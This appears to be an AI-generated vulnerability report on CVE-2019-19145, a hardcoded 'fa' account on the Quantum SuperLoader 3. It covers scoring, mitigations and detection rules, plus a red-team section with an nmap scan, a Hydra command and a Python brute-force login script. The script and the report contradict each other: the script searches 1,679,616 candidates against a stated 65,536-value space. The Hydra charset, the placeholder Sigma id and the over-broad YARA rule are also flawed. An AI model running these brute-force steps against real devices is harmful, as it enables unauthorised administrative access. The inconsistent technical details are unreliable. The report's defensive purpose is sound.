CVE-2019-19145

Executive Summary

CVE-2019-19145 exposes a critical hardcoded credential vulnerability in the Quantum SuperLoader 3 tape library, specifically firmware version V94.0 005E.0h. The device ships with a pre-configured account named "fa" whose password is derived from a weak algorithm, resulting in only 65,536 possible combinations. This allows an attacker with network access to brute-force the password and gain unauthorized administrative access to the device. The vulnerability has a CVSS score of 5.8 (Medium) and is classified under CWE-798 (Use of Hard-coded Credentials). No official patch has been released by Quantum, and the device remains in an unpatched state. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk is significant for organizations relying on this hardware for backup and archival operations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.8 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to start the attack.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on system availability.

The threat level is Medium due to the low attack complexity and network exploitability, but the impact is limited to low confidentiality and integrity. However, in a backup infrastructure context, this could lead to data exfiltration or manipulation of backup jobs.

Deep Dive & Mechanics

The Quantum SuperLoader 3 is a tape autoloader used for automated backup and archival. The device runs a proprietary firmware (V94.0 005E.0h) that includes a built-in service account named "fa". This account is intended for maintenance and diagnostics but is protected by a password that is derived from a weak algorithm. The password space is limited to exactly 65,536 (2^16) possible values, making it feasible to brute-force over a network connection.

The vulnerability stems from the use of a hardcoded credential (CWE-798) combined with a weak password generation scheme. The "fa" account likely has administrative privileges, allowing an attacker to:

• Access the device's web interface or CLI.
• Modify configuration settings.
• View or delete backup logs.
• Potentially disrupt backup operations.

The attack does not require any prior authentication or user interaction. An attacker can simply connect to the device's management interface (typically HTTP/HTTPS or Telnet/SSH) and attempt to log in with the "fa" username, iterating through the 65,536 possible passwords. Given modern computing speeds, this can be accomplished in a matter of hours or days, depending on network latency and rate limiting (if any).

Vulnerable vs. Patched Code

Since no official patch has been released, there is no patched code to compare. The vulnerable firmware version is V94.0 005E.0h. The "fa" account password is generated using a predictable algorithm that produces only 65,536 unique values. A patched version would need to:

• Remove the hardcoded "fa" account or require a strong, randomly generated password.
• Implement account lockout or rate limiting to prevent brute-force attacks.
• Use a secure password hashing algorithm (e.g., bcrypt) instead of a weak derivation.

Without a patch, the only mitigation is to restrict network access to the device or disable the "fa" account if possible.

Exploitation & Lab Setup

Red Team

Objective: Gain unauthorized access to the Quantum SuperLoader 3 using the hardcoded "fa" account.

Lab Setup:

• Target: Quantum SuperLoader 3 with firmware V94.0 005E.0h.
• Attacker: Kali Linux machine on the same network.
• Tools: Hydra, Nmap, custom Python script.

Steps:

1. Discovery: Scan the network for the device.

   nmap -p 80,443,23,22 192.168.1.0/24
   

2. Identify Management Interface: Access the web interface (e.g., http://192.168.1.100).
3. Brute-Force Password: Use Hydra to brute-force the "fa" account.

   hydra -l fa -x 4:4:a 192.168.1.100 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
   

   Note: The password space is 65,536 possibilities (4-character alphanumeric). Adjust the -x flag accordingly.
4. Gain Access: Once the correct password is found, log in and explore the device.

Custom Python Script (Alternative):

import requests
import itertools
import string

target = "http://192.168.1.100/login"
username = "fa"
charset = string.ascii_lowercase + string.digits  # 36 chars
# 36^4 = 1,679,616, but actual space is 65,536 (likely 16-bit)
# Assuming 4-character alphanumeric
for password in itertools.product(charset, repeat=4):
    pwd = ''.join(password)
    response = requests.post(target, data={"user": username, "pass": pwd})
    if "incorrect" not in response.text:
        print(f"Found password: {pwd}")
        break

Blue Team

Objective: Detect and prevent exploitation of the hardcoded credential vulnerability.

Detection:

• Monitor for multiple failed login attempts to the "fa" account.
• Alert on any successful login from an unexpected IP address.
• Use network segmentation to limit access to the device.

Prevention:

• Disable the "fa" account if the device allows it.
• Implement firewall rules to restrict management interface access to trusted IPs only.
• Use a VPN or jump host for administrative access.
• Monitor logs for brute-force patterns (e.g., rapid login attempts).

Indicators of Compromise (IOCs)

• Network:
  • Multiple HTTP POST requests to /login with user=fa and varying pass parameters.
  • Successful login from an IP not in the authorized admin list.
• System:
  • Unusual configuration changes on the SuperLoader 3.
  • Unexpected backup job modifications or deletions.
• Logs:
  • Repeated authentication failures for the "fa" account.
  • Successful authentication for "fa" outside of maintenance windows.

Detection Engineering

YARA Rule

rule CVE_2019_19145_Hardcoded_Credential {
    meta:
        description = "Detects attempts to exploit hardcoded 'fa' account on Quantum SuperLoader 3"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-19145"
    strings:
        $fa_user = "fa" nocase
        $login_path = "/login" nocase
        $password_field = "pass" nocase
    condition:
        all of them
}

Sigma Rule

title: Brute-Force Attack on Quantum SuperLoader 3 'fa' Account
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple failed login attempts to the 'fa' account on Quantum SuperLoader 3
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: quantum_superloader
detection:
    selection:
        username: "fa"
        action: "login_failed"
    timeframe: 5m
    condition: selection | count() > 10
falsepositives:
    - Legitimate administrative activity
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2019-19145 Quantum SuperLoader 3 'fa' account brute-force"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; content:"user=fa"; http_client_body; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch is available, the following mitigations are recommended:

1. Network Segmentation: Place the SuperLoader 3 on a dedicated management VLAN with strict firewall rules. Only allow access from trusted administrative IPs.
2. Disable Unused Accounts: If the device allows, disable the "fa" account or change its password to a strong, random value (though the password space is limited, a longer password may not be supported).
3. Monitor Logs: Enable logging and monitor for brute-force attempts. Use SIEM to alert on multiple failed logins.
4. Upgrade Firmware: Check with Quantum for any firmware updates that may address this issue. If none exist, consider replacing the device with a newer model.
5. Use VPN: Require VPN access for any administrative interaction with the device.
6. Implement Rate Limiting: If possible, configure the device to limit login attempts (e.g., lockout after 5 failed attempts).

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.